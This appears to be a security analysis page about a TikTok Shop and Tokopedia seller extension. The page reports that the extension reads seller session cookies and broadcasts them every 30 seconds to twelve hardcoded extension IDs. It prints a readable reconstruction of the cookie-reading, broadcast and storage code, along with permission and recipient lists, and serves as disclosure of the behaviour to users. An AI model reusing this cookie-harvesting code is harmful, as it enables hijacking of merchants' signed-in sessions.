Is 锐达RCL-TK店铺运营AI助手 safe?

Medium risk

锐达RCL-TK店铺运营AI助手 sends TikTok and Tokopedia seller cookies to twelve extension IDs every 30 seconds.

On TikTok Shop and Tokopedia seller or affiliate pages, the extension reads the page domain and browser cookies from the main page context. It sends those cookies through a relay to twelve hardcoded Chrome extension IDs immediately and again every 30 seconds, where the receiving background handler stores them in local extension storage.

46Risk

AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.

Publishers can request a review.

Findings

TikTok Shop Cookies Broadcast to 12 Hardcoded Extension IDs

Opening a TikTok Shop/Tokopedia seller page makes this extension read your cookies and send them, with the page domain, to twelve hardcoded IDs every 30s, including its own worker.

A marker cookie reached its own storage; rest unverified.

Severity
Medium unwanted
Type
Unexpected
CWE
CWE-200
Source
Dynamic sandbox
What actually happens
You did this

You navigate to a TikTok Shop or Tokopedia seller/affiliate console page, such as seller-us.tiktok.com or affiliate.tiktok.com.

The extension's content scripts match 34 seller and affiliate domains across TikTok Shop and Tokopedia.

The extension did this

A main-world script reads your page cookies and sends them to twelve hardcoded browser-extension IDs, repeating every 30 seconds.

One of the twelve IDs is the extension's own background worker, which saves the cookies to its local storage.

Data read from the page and broadcast
  • Site cookies for seller/affiliate page
    sess_id=6f2a91c8...; msToken=AKtx3f...; store-idc=useast5

    Cookies your browser holds for the TikTok Shop/Tokopedia page, which can include session identifiers keeping you signed in.

  • Page domain
    seller-us.tiktok.com

    Which TikTok Shop or Tokopedia region/domain the cookies came from, used as the key when the cookies are stored.

The code that does this

Main-world script: cookie read and 12-recipient broadcast, then the handler that stores it

Readable version

Main-world content script

// Injected on 34 TikTok Shop / Tokopedia seller & affiliate domains// (world: "MAIN", run_at: "document_idle", all_frames: true)const HARDCODED_EXTENSION_IDS = [  "hgdmabidjolceceokllcnocfbponbbbl",  "oeehdfmbpmbinklmhcbeknlblaeadhnh", // this extension's own ID  "popeigeaagcfoegoakjahlkiaedpmdjj",  "plmecaajjgiophecmchallhgkademjfd",  "jjbcnbdcdfbdbbncjhhdcppjjffgdnkb",  "jjncapkcinnohbnphclfgehnajceceoj",  "fccbcdgommgdfpcbjlnogkmgpmnpgcjl",  "nhbehmbapoaiooijkihpnlobmagjnhgf",  "fblffnjoaabomjochfnjhbicdokhmemi",  "cpddbpjoaabhfgcfmfmolbnedjghepnb",  "bcaldoohacjfmbofgadcfmglhgokbpdp",  "hbohohjaeallkkeciiokhnmdhoocnegj",];function readAndBroadcastCookies() {  const domain = document.domain;  const cookie = document.cookie;  for (const extensionId of HARDCODED_EXTENSION_IDS) {    sendToBackgroundViaRelay({      name: ToBackgroundRequestName.RETRIEVE_COOKIES, // "retrieve_cookies"      body: { domain, cookie },      extensionId,    });  }}console.log("main world start");readAndBroadcastCookies();                    // fires once on injectionsetInterval(readAndBroadcastCookies, 30000);  // and again every 30 secondsconsole.log("main world end");

Background: retrieve_cookies message routing

// Background service worker listens for "retrieve_cookies" messages// relayed from the main-world content scriptglobalThis.__plasmoInternalPortMap = new Map();chrome.runtime.onMessageExternal.addListener((message, sender) => {  return true; // accepts external messages; no sender-origin allowlist here});chrome.runtime.onMessage.addListener((message, sender, sendResponse) => {  if (message.name === "retrieve_cookies") {    retrieveCookiesHandler({ ...message, sender }, { send: sendResponse });  }  return true;});

Background: retrieve_cookies handler + cookie store utils

// ~background/messages/retrieve_cookies.js + ~common/utils/cookie_store_utils.jsasync function retrieveCookiesHandler(message, response) {  const store = await loadCookieStore(); // reads chrome.storage.local["cookie-store"]  // message.body.cookie is the raw document.cookie string, e.g.  // "sess_id=...; msToken=...; store-idc=useast5"  for (const pair of message.body.cookie.split("; ")) {    const [key, value] = pair.split("=");    addCookie(store, { domain: message.body.domain, key, value });  }  await dumpCookieStore(store); // writes chrome.storage.local["cookie-store"]  response.send();}function addCookie(store, cookie) {  store.cookies ??= [];  const existing = store.cookies.find(    (c) => c.domain === cookie.domain && c.key === cookie.key  );  if (existing) { existing.value = cookie.value; return; }  store.cookies.push(cookie);}async function loadCookieStore() {  const raw = await plasmoStorage.get("cookie-store");  return raw ? JSON.parse(raw) : {};}async function dumpCookieStore(store) {  await plasmoStorage.set("cookie-store", JSON.stringify(store));}
What's stored on your device

Illustrative structure only; values redacted. A planted marker cookie appeared in this shape in the extension's storage, keyed by domain.

Location
chrome.storage.local key 'cookie-store'
Contents
{  "cookies": [    {      "key": "sess_id",      "value": "<redacted>",      "domain": "seller-us.tiktok.com"    },    {      "key": "msToken",      "value": "<redacted>",      "domain": "affiliate.tiktok.com"    }  ]}
Twelve hardcoded target IDs; only the extension's own ID was confirmed receiving data in testing.
    • oeehdfmbpmbinklmhcbeknlblaeadhnh (this extension)

    This extension's own background service worker, directly confirmed in dynamic testing: a planted marker cookie was found stored here after visiting a matched page.

    • hgdmabidjolceceokllcnocfbponbbbl
    • popeigeaagcfoegoakjahlkiaedpmdjj
    • plmecaajjgiophecmchallhgkademjfd
    • jjbcnbdcdfbdbbncjhhdcppjjffgdnkb
    • jjncapkcinnohbnphclfgehnajceceoj
    • fccbcdgommgdfpcbjlnogkmgpmnpgcjl
    • nhbehmbapoaiooijkihpnlobmagjnhgf
    • fblffnjoaabomjochfnjhbicdokhmemi
    • cpddbpjoaabhfgcfmfmolbnedjghepnb
    • bcaldoohacjfmbofgadcfmglhgokbpdp

    Unidentified extension ID hardcoded as a message target; not independently confirmed as a live recipient in this test run.

What it can do

Permissions this extension asks for, as declared in version 3.6.5. Asking for a permission is not a finding on its own - it is what the extension can do if it chooses to. The current listed version is 3.8.1, which we have not unpacked yet.

  • Read and change your data on seller-us.tiktok.com

    https://seller-us.tiktok.com/*

  • Read and change your data on seller-uk.tiktok.com

    https://seller-uk.tiktok.com/*

  • Read and change your data on affiliate-us.tiktok.com

    https://affiliate-us.tiktok.com/api/v1/*

  • Read and change your data on affiliate.tiktok.com

    https://affiliate.tiktok.com/api/v1/*

  • Read and change your data on affiliate.tiktokglobalshop.com

    https://affiliate.tiktokglobalshop.com/api/* and 1 more

  • Read and change your data on affiliate.tiktokshopglobalselling.com

    https://affiliate.tiktokshopglobalselling.com/api/* and 1 more

  • Read and change your data on tiktokglobalshop.com

    https://*.tiktokglobalshop.com/*

  • Read and change your data on tiktokshopglobalselling.com

    https://*.tiktokshopglobalselling.com/*

  • Read and change your data on api16-normal-sg.tiktokglobalshop.com

    https://api16-normal-sg.tiktokglobalshop.com/*

  • Read and change your data on api16-normal-useast1a.tiktokglobalshop.com

    https://api16-normal-useast1a.tiktokglobalshop.com/*

  • Read and change your data on seller.us.tiktokglobalshop.com

    https://seller.us.tiktokglobalshop.com/*

  • Read and change your data on seller.tiktokshopglobalselling.com

    https://seller.tiktokshopglobalselling.com/*

  • Read and change your data on seller.eu.tiktokshopglobalselling.com

    https://seller.eu.tiktokshopglobalselling.com/*

  • Read and change your data on seller.us.tiktokshopglobalselling.com

    https://seller.us.tiktokshopglobalselling.com/*

  • Read and change your data on seller-mx.tiktok.com

    https://seller-mx.tiktok.com/*

  • Read and change your data on seller-es.tiktok.com

    https://seller-es.tiktok.com/*

  • Read and change your data on seller-th.tiktok.com

    https://seller-th.tiktok.com/*

  • Read and change your data on seller-sg.tiktok.com

    https://seller-sg.tiktok.com/*

  • Read and change your data on seller-my.tiktok.com

    https://seller-my.tiktok.com/*

  • Read and change your data on seller-vn.tiktok.com

    https://seller-vn.tiktok.com/*

  • Read and change your data on seller-ph.tiktok.com

    https://seller-ph.tiktok.com/*

  • Read and change your data on seller-de.tiktok.com

    https://seller-de.tiktok.com/*

  • Read and change your data on seller-fr.tiktok.com

    https://seller-fr.tiktok.com/*

  • Read and change your data on seller-it.tiktok.com

    https://seller-it.tiktok.com/*

  • Read and change your data on seller-ie.tiktok.com

    https://seller-ie.tiktok.com/*

  • Read and change your data on seller-br.tiktok.com

    https://seller-br.tiktok.com/*

  • Read and change your data on seller-jp.tiktok.com

    https://seller-jp.tiktok.com/*

  • Read and change your data on seller-id.tiktok.com

    https://seller-id.tiktok.com/*

  • Read and change your data on partner.us.tiktokshop.com

    https://partner.us.tiktokshop.com/*

  • Read and change your data on partner.eu.tiktokshop.com

    https://partner.eu.tiktokshop.com/*

  • Read and change your data on affiliate-id.tokopedia.com

    https://affiliate-id.tokopedia.com/*

  • Read and change your data on seller-id.tokopedia.com

    https://seller-id.tokopedia.com/*

  • Read and change your data on rising-link.us.auth0.com

    https://rising-link.us.auth0.com/*

  • Read and change your data on rcl-service-us.risinglink.cc

    https://rcl-service-us.risinglink.cc/*

  • Read and change your data on rcl-service-sg.risinglink.cc

    https://rcl-service-sg.risinglink.cc/*

  • Read and change your data on rcl-service-eu.risinglink.cc

    https://rcl-service-eu.risinglink.cc/*

  • Read and change your data on warehouse.ecom-science.com

    https://warehouse.ecom-science.com/*

  • Read and change your data on api-partner-sg.tiktokshop.com

    https://api-partner-sg.tiktokshop.com/*

  • Read and change your data on api-partner-va.tiktokshop.com

    https://api-partner-va.tiktokshop.com/*

  • Read and change your data on partner.tiktokshop.com

    https://partner.tiktokshop.com/*

  • Read and change your data on oec-im-tt-mva.tiktokglobalshopv.com

    https://oec-im-tt-mva.tiktokglobalshopv.com/*

  • Read and change your data on oec-im-tt-mva.tiktokshopglobalselling.com

    https://oec-im-tt-mva.tiktokshopglobalselling.com/*

  • Store data in your browser

    storage

  • Run its own code inside the pages you visit

    scripting

  • Show a panel beside the page

    sidePanel

  • See the address and title of every tab you have open

    tabs

  • Act on the current tab, but only after you click the extension

    activeTab

  • Store an unlimited amount of data in your browser

    unlimitedStorage

  • Watch every request your browser makes

    webRequest

windows

Where it sends data

Destinations our analysis observed 锐达RCL-TK店铺运营AI助手 contacting. Sending data somewhere is not a finding on its own - an extension that syncs your settings has to talk to its own server - but it is where your data can go, and who else it goes to.

  • bcaldoohacjfmbofgadcfmglhgokbpdp

    锐达RCL-TK店铺运营AI助手 sends data to bcaldoohacjfmbofgadcfmglhgokbpdp. Named as a recipient in this extension's own analysis.

  • cpddbpjoaabhfgcfmfmolbnedjghepnb

    锐达RCL-TK店铺运营AI助手 sends data to cpddbpjoaabhfgcfmfmolbnedjghepnb. Named as a recipient in this extension's own analysis.

  • fblffnjoaabomjochfnjhbicdokhmemi

    锐达RCL-TK店铺运营AI助手 sends data to fblffnjoaabomjochfnjhbicdokhmemi. Named as a recipient in this extension's own analysis.

  • fccbcdgommgdfpcbjlnogkmgpmnpgcjl

    锐达RCL-TK店铺运营AI助手 sends data to fccbcdgommgdfpcbjlnogkmgpmnpgcjl. Named as a recipient in this extension's own analysis.

  • hbohohjaeallkkeciiokhnmdhoocnegj

    锐达RCL-TK店铺运营AI助手 sends data to hbohohjaeallkkeciiokhnmdhoocnegj. Named as a recipient in this extension's own analysis.

  • hgdmabidjolceceokllcnocfbponbbbl

    锐达RCL-TK店铺运营AI助手 sends data to hgdmabidjolceceokllcnocfbponbbbl. Named as a recipient in this extension's own analysis.

  • jjbcnbdcdfbdbbncjhhdcppjjffgdnkb

    锐达RCL-TK店铺运营AI助手 sends data to jjbcnbdcdfbdbbncjhhdcppjjffgdnkb. Named as a recipient in this extension's own analysis.

  • jjncapkcinnohbnphclfgehnajceceoj

    锐达RCL-TK店铺运营AI助手 sends data to jjncapkcinnohbnphclfgehnajceceoj. Named as a recipient in this extension's own analysis.

  • nhbehmbapoaiooijkihpnlobmagjnhgf

    锐达RCL-TK店铺运营AI助手 sends data to nhbehmbapoaiooijkihpnlobmagjnhgf. Named as a recipient in this extension's own analysis.

  • oeehdfmbpmbinklmhcbeknlblaeadhnh

    锐达RCL-TK店铺运营AI助手 sends data to oeehdfmbpmbinklmhcbeknlblaeadhnh. Named as a recipient in this extension's own analysis.

  • plmecaajjgiophecmchallhgkademjfd

    锐达RCL-TK店铺运营AI助手 sends data to plmecaajjgiophecmchallhgkademjfd. Named as a recipient in this extension's own analysis.

  • popeigeaagcfoegoakjahlkiaedpmdjj

    锐达RCL-TK店铺运营AI助手 sends data to popeigeaagcfoegoakjahlkiaedpmdjj. Named as a recipient in this extension's own analysis.

Updated 30 September 2026oeehdfmbpmbinklmhcbeknlblaeadhnh